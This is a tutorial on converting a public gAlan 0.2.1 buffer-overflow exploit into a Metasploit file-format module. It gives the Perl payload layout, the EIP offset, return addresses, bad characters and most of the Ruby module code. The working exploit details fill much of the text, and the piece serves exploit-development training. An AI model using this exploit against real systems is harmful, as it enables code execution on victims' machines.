“Metasplizing” Convert an existing exploit to MSF Module.
By loneferret
www.kioptrix.com

One way to get good practice with “Buffer Overflows” is by taking an existing exploit and making a Metasploit module. It’s also a nice chance to contribute to the MSF project as well. Porting an exploit to Metasploit can vary from being quite simple, to extremely frustrating. Let’s start with an easy one: A FileFormat Module.

First you need to select the exploit you wish to convert into a module.
http://www.exploit-db.com/exploits/10339
Here’s a nice local exploit for gAlan application, authored by Jeremy Brown. The vulnerable application can also be downloaded from the above link.
Let’s take a moment and go through this exploit, in preparation to convert it into a Metasploit module.

```
$magic  = "Mjik";
```
Here we have the first 4 bytes of our ‘galan’ file.

```
$addr   = 0x7E429353; # JMP ESP @ user32.dll
```
Our return address, which brings us to our shellcode once execute in memory.

```
$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;
```
Here we have the payload all stringed up, ready to be written to disk. It starts with the 4 bytes, the return address, a nop slide and our shellcode.

Our task is to reproduce the exploits functionality in a working Metasploit module. Before going off and trying to write up a module just yet, I usually try the exploit first to make sure it works, and see it under a debugger. Sometimes a few questions need answering.
How big is the total payload? = 1214
How big is the offset?
Which 4 bytes of our payload overwrite EIP?
How much (potential) space do we have for our shellcode? current shellcode = 696

Well, we know from the exploit, our shellcode can reach 700 bytes in size. On the other hand, we have no real certainty on the offset length and EIP overwrite position. A simple way to find these answers is to run a modified version of the exploit. Replace the payload with a string of unique characters of equal length as the payload, and watch the application crash under a debugger. In a sense, we’re “dumbing” this exploit back down to a “PoC”. Using ‘pattern_create’ and ‘pattern_offset’ we can accomplish this with relative ease.

Now we know that EIP is overwritten at bytes 1032 through 1036 of our payload, and by the looks of it we can have about 1000 bytes of safe shellcode space. Don’t really need much more in my opinion (others may say otherwise).

From here, we can start creating our module. First open up an existing Metasploit module that is similar to what we're trying to accomplish. This being a 'FileFormat' exploit for the Windows operating system, poke around the MSF installation folder under modules/exploits/windows/fileformat/ and you'll have plenty. We'll use this as our template. Here's what our template file would look like:

```
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
			'Description' => %q{
					DESCRIPTION HERE.
					},
			'License' => MSF_LICENSE,
			'Author' => [ 'AUTHORS HERE' ],
			'Version' => '$Revision: # $',
			'References' =>
				[
					[ 'URL', 'http://www.SOMETHING.com' ],  #reference link
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload' =>
				{
					'Space' => 1000,
					'BadChars' => "\x00 ",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets' =>
				[
						[ 'Windows XP ', { 'Ret' => 0x00000000} ], # return address here
				],
			'Privileged' => false,
			'DisclosureDate' => 'Dec 07 2009',
			'DefaultTarget' => 0))
			register_options(
				[
					OptString.new('FILENAME', [ false, 'The file name.', 'filename.ext']),
				], self.class)
	end
	def exploit
		PAYLOAD CREATION GOES HERE

		WRITETHIS = sploit
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(WRITETHIS)
	end
end
```

We'll concentrate on just a few sections for easyness' sake.
The "**Payload**", "**Targets**" and "**def exploit**" sections are what we'll be playing around with the most at this point in time.

We'll start with the "**def exploit**" section. This is where our payload comes together using the information we found with the original exploit.

```
def exploit
    sploit = "Mjik"                                          # our first 4 bytes
    sploit << rand_text_alpha_upper(1028)                    # our offset
    sploit << [target.ret].pack('V')                         # our return address
    sploit << "\x90" * 45                                    # our nop slide
    sploit << payload.encoded                                # our encoded payload

    galan = sploit                                           #
    print_status("Creating '#{datastore['FILENAME']}' file ...")  #
    file_create(galan)                                       # create our file
end
```

So we're concatenating our payload relatively in the same manner that we would in a stand-alone exploit. With the exception that we can use different shellcode offered by the Metasploit framework.

We start with the first 4 bytes 'Mjik'.

Original perl exploit	Metasploit module
$magic = "Mjik";	**sploit = "Mjik"**

We then go and continue to build our buffer. Since we found where EIP is overwritten, we won't be using repeated return address values as our buffer.

Original perl exploit	Metasploit module
$retaddr x 258 .	**sploit << rand_text_alpha_upper(1028)**
	sploit << [target.ret].pack('V')

Keeping in the order of things, we add our nop slide.

Original perl exploit	Metasploit module
"\x90" x 256 .	**sploit << "\x90" * 45**

Concatenating our shellcode…

Original perl exploit	Metasploit module
. $shellcode;	**sploit << payload.encoded**

The rest is pretty self-explanatory; it prints out the creation status and creates the file. Where do we define the filename? Under the "register_options" you'll find this line:
OptString.new('FILENAME', [false, 'The file name.', 'evil.galan']),

By default, the module will save the file as "evil.galan", but from the msf console you'll be able to change this. Now on to the "**Targets**" section of our Metasploit module.

In this part of the module, we define our return address. In the example below, I took the liberty of finding a Windows XP universal address instead of using an address from user32.dll.

```
'Targets' =>
    [
        [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ],          # 0x100175D0 call esi @ glib-1_3
    ],
```

Another option for the "Targets" section is to write it up like this:

```
'Targets' =>
    [
        [ 'Windows XP Universal', { 'Ret' => 0x100175D0, 'Offset' => 1028} ],    # 0x100175D0 call esi @ glib-1_3
    ],
```

The replace the "***rand_text_alpha_upper***" from the **"def_exploit"** part with this:

```
sploit << rand_text_alpha_upper(target['Offset'])
```

The payload section of the module, we're almost done. Two things to take note of are "Space" and "BadChars". "Space" is the maximum space available in memory for our shellcode. Under the debugger, we figured we could safely send at least 1000 bytes.
The "BadChars" is a list of forbidden characters. These characters will not be used by Metasploit went it encodes our payload or generates the random characters for the initial buffer. Finding bad characters is beyond the scope of this article.

```
'Payload' =>
    {
        'Space' => 1000,
        'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
    },
```

Here's the finished MSF module:
http://www.exploit-db.com/exploits/10346

In a nutshell, writing a file format module is pretty simple. What is time consuming is finding bad characters. It takes one bad character to mangle up your payload. The application will still (usually) crash, but the shellcode won't be executed. Here's a good reference for bad character finding as well as more information on MSF module creation:
http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Writing_an_exploit_module

Thank you for reading.

Special thanks to dookie from Dxploit-DB
And the rest of the Exploit-DB Team @ www.exploit-db.com